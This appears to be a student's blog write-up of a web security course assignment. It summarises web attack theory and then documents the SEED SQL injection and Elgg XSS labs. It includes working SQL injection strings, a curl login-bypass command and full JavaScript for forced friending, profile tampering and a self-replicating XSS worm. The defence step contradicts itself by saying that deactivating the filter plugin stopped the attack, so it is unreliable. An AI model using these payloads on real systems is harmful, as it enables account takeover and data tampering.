20199109 2019-2020-2 《网络攻防实践》第11周作业

Web应用程序安全攻防

总体结构

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737
这个作业在哪个具体方面帮助我实现目标 学习web应用程序的相关知识
作业正文.. 见一和二

一、课堂知识点总结

(一)web应用程序体系结构及其安全威胁

1、web应用体系结构

  • 由浏览器作为“瘦”客户端主要完成数据显示与展示内容的渲染;由功能强大的“胖”服务器负责完成主要业务的计算处理;两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。“胖”服务器端由web服务器软件、web应用程序及后端数据库构成,并通过经典三层架构,即表示层、业务逻辑层、数据层来组织与构建。
  • 浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取web服务器上的信息和应用服务。
  • web服务器:web服务器软件通常被简单描述为HTTP守护程序,接收web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给web应用程序来执行,待web应用程序执行完逻辑并返回响应时,web服务器再将这个响应返回给web客户端,在浏览器上进行本地执行、渲染和展示。
  • web应用程序:是web的核心。最普遍应用的是三层体系结构:
    • 表示层:接受Web客户端的输入并显示结果。
    • 业务逻辑层:从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。是web应用程序的核心。
    • 数据层:以数据库或本地文件的形式,提供非易失的信息存储。
  • 数据库:Web应用存储数据的地方。
  • 传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/响应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。

2、web应用安全威胁

  • 下面简要列出其中每个组件所面临的典型安全威胁和攻击类型
    • 针对浏览器和终端用户的web浏览安全威胁
    • 针对传输网络的网络协议安全威胁
    • 系统层安全威胁
    • web服务器软件安全威胁
    • web应用程序安全威胁
    • web数据安全威胁

(二)web应用安全攻防技术概述

1、web应用的信息收集

主要收集内容包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息。

  • 手工审查web应用程序结构与源代码
    • 查看静态和动态生成的页面,HTML源文件可能包含一些有价值的隐藏信息。
    • 查看Web服务器的存储目录结构。
    • 查看辅助性文件,包括CSS级联样式表、XML样式表等等。
    • 查看输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。
    • 查询参数字符串,可以复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。
  • 自动下载与镜像web站点页面:提升手动审查的自动化程度。
  • 使用Google hacking技术审查与探测web应用程序:最高效的审查与探测方法。
  • web应用程序安全评估与漏洞探测:为了找出薄弱环节,总结针对这个web应用程序的详细攻击步骤。
    • 针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。
    • 安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。

2、攻击web服务器软件

web服务器平台中的安全漏洞主要分为以下几大类:

  • 数据驱动的远程代码执行安全漏洞:Web服务器软件也面临缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
  • 服务器功能拓展模块漏洞
  • 样本文件安全漏洞
  • 原代码泄露
  • 资源解析攻击

3、攻击web应用程序

这是目前安全最薄弱的环节

  • Web应用程序安全威胁从攻击技术角度分为:
    • 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
    • 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
    • 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
    • 命令执行攻击:在web站点执行远程命令的攻击手段。
    • 信息暴露:获取web站点具体系统信息的攻击手段。
    • 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。

4、攻击web数据内容

针对敏感数据内容的攻击威胁。

  • 安全敏感数据泄露
    • web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。
    • 利用web服务器的上传目录临时中转文件。
    • 在web站点公开的文档资料中包含个人隐私、企业秘密。
  • 网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换。
  • 不良信息内容上传

5、web应用安全防范措施

针对上述威胁和攻击,要设计安全防范措施来缓解web应用安全威胁。

  • Web站点网络传输安全设防措施:使用HTTPS、SSH、SFTP等安全协议。
  • Web站点操作系统及服务安全设防措施:及时进行操作系统及服务的补丁更新、漏洞扫描等。
  • Web应用程序安全设防措施:在设计时就应该谨慎考虑,并且要多设置日志信息。
  • Web站点数据安全设防措施:提高个人的安全意识,提高系统的数据保护能力。

(三)SQL注入

1、SQL注入攻击原理

  • 定义:利用Web应用程序的数据层存在的输入验证不完善性安全漏洞实施的代码注入攻击技术。
  • 原理:向web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。

2、SQL注入攻击步骤和过程

(1)发现SQL注入点:常见注入点存在于http://SITE/xxx.asp?some_rec=yyy的动态网页。当some_rec字段为整形参数时,通常数据库SQL操作语句为SELECT * FROM some_table WHERE some_rec = yyy,可将参数取值yyy设置为如下三种不同的字符串,通过返回页面判断该动态页面是否存在SQL注入点。若都满足,可认定该web应用程序为整数类型输入存在注入点。

  • yyy修改为yyy' 造成SQL出错,动态页面返回错误提示信息。
  • yyy修改为yyy and 1=1 不对查询条件造成任何影响,返回正常页面。
  • yyy修改为yyy and 1=2 查询不到任何信息。

(2)判断后台数据库类型

  • 利用数据库服务器的系统变量。
  • 利用数据库服务器的系统表进行判断。

(3)后台能数据库中管理员用户口令字猜测

  • 用户口令字猜解攻击过程一般包括猜解表名,猜解字段名以及用户与口令猜解。
  • 猜解字段值可用二分法来快速逼近。

(4)上传ASP后门,得到默认账户权限
(5)本地权限提升
(6)利用数据库扩展存储过程执行shell命令

3、SQL注入攻击工具

  • Wposion:能够在动态Web文档中找出SQL注入漏洞。
  • mieliekoek.pl:以网站镜像工具生成的输出为输入,找出含有表单页面。
  • SPIKE Proxy工具:允许使用者对待注入字符串进行定制。
  • SPI Toolkit工具包含的“SQL Injector”的自动化SQL注入测试工具。

4、SQL注入攻击防范措施

  • 使用类型安全(type-safe)的参数编码机制。
  • 凡是来自外部的用户输入,必须进行完备检查。
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
  • 加强SQL数据库服务器的配置与连接。

(四)XSS跨站脚本攻击

1、XSS攻击技术原理

XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序而是使用Web应用程序的用户。XSS的漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意HTML或JavaScript代码,用户在浏览网页时,客户端浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等敏感后果。

2、xss攻击类型

  • 持久性XSS漏洞:通常出现于一些可以将用户输入持久性保存在Web服务器端,并在一些“正常”页面中持续显示,从而能影响所有访问这些页面的其他用户。
  • 非持久性XSS漏洞:当web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果界面,儿缺乏恰当的请求数据安全验证与过滤,那么就很有可能存在非持久性XSS漏洞。
    • 针对非持久性XSS漏洞的具体攻击包括:
    • 攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户。
    • 用户点击连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面。
    • 网站将会在反馈的欢迎页面中包含恶意客户端脚本。
    • 攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。
    • 攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击。

3、XSS攻击防范措施

  • 服务器端防范措施:“限制、拒绝、净化”
    • 输入验证: 对用户提交数据进行尽可能严格的验证与过滤。
    • 输出净化: HTML编码。
    • 消除危险的输入点。
  • 客户端防范措施
    • 提高浏览器访问非受信网站时的安全等级。
    • 关闭Cookie功能,或设置Cookie只读。
    • 采用非主流安全浏览器。

二、实践过程

(一)SEED SQL注入实验

1、熟悉SQL

  • 使用指令mysql -u root -p登陆mysql数据库,-u指定用户名,-p指定密码。

  • 使用指令use Usersshow tables查看该数据库下面的表

  • 使用指令select * from credential;来打印所有员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息。

2、SELECT语句的SQL注入攻击

  • 打开网站SEEDLabSQLInjection.com,其对应的文件地址在/var/www/SQLInjection。其中有一个存在sql注入攻击的主页unsafe_home.php,通过vim /var/www/SQLInjection/unsafe_home.php,找到核心的SQL语句,可以发现,如果我们输入的username字段为Admin'#,Password可以是任意值。因为#在sql语句中代表注释,代码中#之后的内容在实际执行sql语句的过程中是看不到的。
  • 去网站实验一下

  • 攻击成功
  • 然后要利用命令行完成管理员的登录。这里我们需要用到一个Linux下的自带工具,curl。它可以用来请求页面,由于这个网页是使用GET的方式传递数据,我们也就可以使用将参数放置在请求的方式进行sql注入攻击。具体的命令如下
curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23&Password=111
  • 执行上述指令我们可以看到如下的返回结果,可以看到信息和我们上面看到的信息相同,证明我们的攻击时成功的。

  • 最后的任务是追加新的SQL语句达到修改数据库的效果。也就是追加一个delete或者update语句。如Admin’; updata credential set salary='1' where Name='Admin' #但是攻击失败,是因为MySql中的对策阻止了从php调用多个语句的执行。

3、对UPDATE语句的SQL注入攻击

  • 首先查看后台代码vim /var/www/SQLInjection/unsafe_edit_backend.php,核心还是sql语句。可以发现,如果我们输入的nickname为', salary='500000' where EID='10000';#就可以成功改变salary。

  • 下面进行试验,在Edit Profile页面的nickname字段填入上一条语句,可以发现,成功改变了salary的值。同理,我们在Alice修改的界面的nickname输入', salary='1' where name='Boby';#,发现boby的工资已经成功被修改

  • 最后一个任务是修改其他用户的密码。密码在数据库中是以sha1的形式存储的,那么首先我们需要获取一个指定密码的sha1值。使用指令echo -n '123'|sha1sum输出密码123的sha1值40bd001563085fc35165329ea1ff5c5ecbdbbeef

  • 还是用Alice的账户登录,继续在edit profile那里修改用户名,填上以下指令进行sha1值的修改 ', Password='40bd001563085fc35165329ea1ff5c5ecbdbbeef' where Name='Boby';#。这个时候我们正常登陆Boby的账户,发现通过我们修改的123密码已经能够完成正常的登录。此时我们成功的完成了攻击。

(二)SEED XSS攻击实验

在接下来的实验中,我们使用Alice作为攻击者,Boby作为受害者,Admin作为蠕虫攻击的第二波受害者。Alice的账户为alice密码aliceseed,Boby账户boby密码seedboby,Admin账户名admin密码seedelgg

1、发布恶意消息,显示警报窗口

  • 首先用Alice账户密码登陆,打开并编辑个人页面。

  • Brief description中插入我们的XSS攻击代码<script> alert('xss');</script>。如下图所示

  • 点击Save后就能看到弹窗如下图所示

2、弹窗显示cookie信息

  • 在Alice的个人页面的Brief description中插入我们的XSS攻击代码<script> alert(document.cookie);</script>。如下图

  • 点击下方的Save就能看到xss攻击的结果,如下图所示

3、窃取受害者的cookies

  • 可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。下面我们使用JavaScript将cookies发送到攻击者机器的6677端口(非重复端口即可),若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。

  • 使用命令`'

  • 使用nc进行监听6677端口,-l指定端口,-v显示详细信息。这样任意用户访问Alice的主页都将向攻击者的服务器发送对应的cookie信息

4、成为受害者的朋友

  • 在XSS攻击之前,我们首先要知道:在正常的情况下,添加好友应该发送什么样的指令。为此我们点击Add Friend,并同时使用HTTP Header Live查看发送的数据。我们得到如下图的信息。

  • 可以看到,请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/friends/add。请求地址的第一个参数是friend=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__elgg_token=
    也就是说我们要指明添加的好友,添加的时间并进行添加者的身份验证。

  • 可以编写出如下的代码,用于xss攻击自动添加好友。(照搬的孙启龙大佬的代码)

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;


	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>
  • 将上述代码放到Alice的About me中

  • 然后用boby的账号访问Alice的个人主页,可以截获到这样一条请求。之后返回boby主页,可以看到boby自动加了Alice的好友

5、修改受害者的信息

  • 同样,在XSS攻击之前,我们首先要知道:在正常的情况下,修改简介应该发送什么样的指令。为此我们点击Edit profile,并同时使用HTTP Header Live查看发送的数据。可以得到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/profile/edit,请求地址的第一个参数是&__elgg_token=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__name=elgg.session.user.name。结合分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友。
<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>
  • 同样将代码放到alice的about me中。登陆boby账号访问Alice的个人主页,返回主页时看到语句this had been changed by xss attack.

6、编写XSS蠕虫。

  • 构建蠕虫攻击代码
<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>
  • 跟之前的代码不同的核心在于使用innerHTML标签获取了worm当前块内的所有代码。

  • 还是将代码放入Alice的about me处,切换账户让boby去访问Alice主页,可以截获如下信息。同时,蠕虫病毒已经侵染了Boby的主页。

  • 可以用admin做一下试验。让admin访问boby的主页,admin就成为了二级感染者

7、对抗XSS攻击

  • Elgg本身已经提供对抗XSS攻击的插件,我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed,并使其Deactivate。这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。

  • 然后我们再看Alice的profile,就可以看到这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。

三、学习中遇到的问题

  • 最大的问题应该就是如何编写代码
  • 解决:参照同学的博客,先能看懂代码都是什么意思,慢慢学着用。
  • 对SQL语句也不太了解
  • 解决:百度,查资料,一点点学呗还能咋办。

四、学习感悟

要是没有大佬在前面编代码铺路,我可能就没法完成这次实践了。但是以后的路还要自己走,加油学吧。

posted @ 2020-05-12 16:02  黄雅婷  阅读(242)  评论(0编辑  收藏  举报